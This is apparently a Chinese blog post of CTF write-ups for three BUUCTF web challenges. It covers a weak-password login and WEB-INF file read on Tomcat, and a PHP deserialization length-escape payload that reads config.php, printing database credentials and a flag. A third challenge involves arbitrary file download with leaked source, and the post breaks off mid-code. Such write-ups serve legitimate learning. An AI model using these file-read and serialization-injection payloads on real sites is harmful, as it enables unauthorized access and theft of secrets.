BUUCTF WEB(12月刷题~)
emmmm,学习是要学习的,该记录的也得记录,,
就记录一下最近在BUUCTF上刷的题目吧,只求扩展一下自己的知识面,,,
BUUCTF WEB [RoarCTF 2019]Easy Java
进入页面得到一个登录页面和help页面:
help页面有一个filename的参数,不过貌似没什么用,,,,
尝试登陆!!!跑一下弱密码,账户:admin
,得到弱密码admin888
登陆进去发现提示flag不在这里,,,
然后找了半天,没找到任何东西,,,源码也没有什么,,,
回到help页面,,,filename参数不论传入什么都不起作用,,,,
换一种参数进行尝试,发现要POST传递一个filename时才能有文件内容显示,否则报一个500错误:
根据报错信息我们可以得知服务器类型以及版本信息:Apache Tomcat/8.5.24
一般用java做过网站的都知道有一个WEB-INF目录,,,它是java的web应用的安全目录,包含以下目录及文件:
/WEB-INF/web.xml: Web应用程序的配置文件
/WEB-INF/classes/: 包含站点所有的class文件
/WEB-INF/lib/: 存放需要的jar文件
/WEB-INF/src/: 源码目录
/WEB-INF/database.properties: 数据库配置文件
我们尝试读取配置文件,web.xml:
发现一个疑似flag存放的目录,,,
进行读取,发现一串base64的字符串:
进行解码得到flag:
emmmm,这能说这道题目是真的坑,,,,
首先你的了解java搭建的目录结构,其次还有传递方式的转变!
所以web真的太难了啊!!!!!!
BUUCTF WEB [0CTF 2016]piapiapia
打开页面是一个登录页面,还有一个可爱的小猫,,,越看越有意思,,,
尝试登陆,失败,,,,,查看源码,,,,无果
查看robots.txt没有,发现存在源码泄露,,www.zip,下载下来可看见文件目录:
看到class.php就感觉存在序列化,,,,都查看一下源码
class.php中基本都是数据库增加修改语句,,,发现存在过滤函数:
config.php中应该是存放着flag:
发现profile.php中存在文件读取,还有反序列化:
到这里我们应该知道要做啥了,就是需要我们通过这里来进行读取config.php中的内容
不过我们该如何控制$profile[‘photo’]中的内容为config.php呢???
再看看update.php中内容:
发现在这里我们好像能够控制$profile[‘photo’]中的内容!!!
其实这道题目是利用php反序列化长度变化尾部字符串逃逸漏洞,,,,
首先来看看反序列化的规则,构造如下代码:
$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:0:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(4) {
["phone"]=>
string(5) "admin"
["email"]=>
string(10) "123@qq.com"
["nickname"]=>
string(0) ""
["photo"]=>
string(10) "config.php"
}
会发现;}
之后的都没有起作用!!而且还有一点,,,
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的
只要整个字符串的前一部分能够成功反序列化,那么就能够序列化成功!!!
如下代码:
$b = 'a:2:{i:0;s:5:"phone";i:1;s:8:"admin123";}123"}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(2) {
[0]=>
string(5) "phone"
[1]=>
string(8) "admin123"
}
知道这些东西就好办了呀,我们可以构造nickname为数组,然后我们再构造photo为:";}s:5:"photo";s:10:"config.php";}
这样我们所构造的payload就变成了如下:
$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(4) {
["phone"]=>
string(5) "admin"
["email"]=>
string(10) "123@qq.com"
["nickname"]=>
array(1) {
[0]=>
string(0) ""
}
["photo"]=>
string(10) "config.php"
}
可以清楚看见photo变成了config.php!!!而且nickname变成数组还可以绕过如下过滤:
但是我们传输的时候长度是不变的怎么办??其实我们可以看见class.php中的那里会把where变成hacker
这样我们就可以多一个字符出来利用!!构造34个where,刚好可以把";}s:5:"photo";s:10:"config.php";}
挤出来
使之能够执行!!!到这里就可以去做题目了!!!!
已知有个注册页面,先注册一个用户,,注册完需要我们更新信息,,,直接抓包:
然后直接构造:
之后访问profile.php可以看见:
解码得到flag:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ce293cc-273b-4d97-ba44-036a5cde57e0}';
?>
BUUCTF WEB [CISCN2019 华北赛区 Day1 Web1]Dropbox
打开页面需要登陆,OK,先注册一个直接登陆,发现有个文件上传:
尝试上传shell,上传成功但是没有显示,而且路径也不知道:
上传图片有显示,,,,,还有个删除和下载,删除就直接删除了,下载就是直接下载文件,,,,
下载文件直接抓包!!发现存在任意文件下载:
把能下载的文件全部都下载下来看看,,,,
class.php:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db-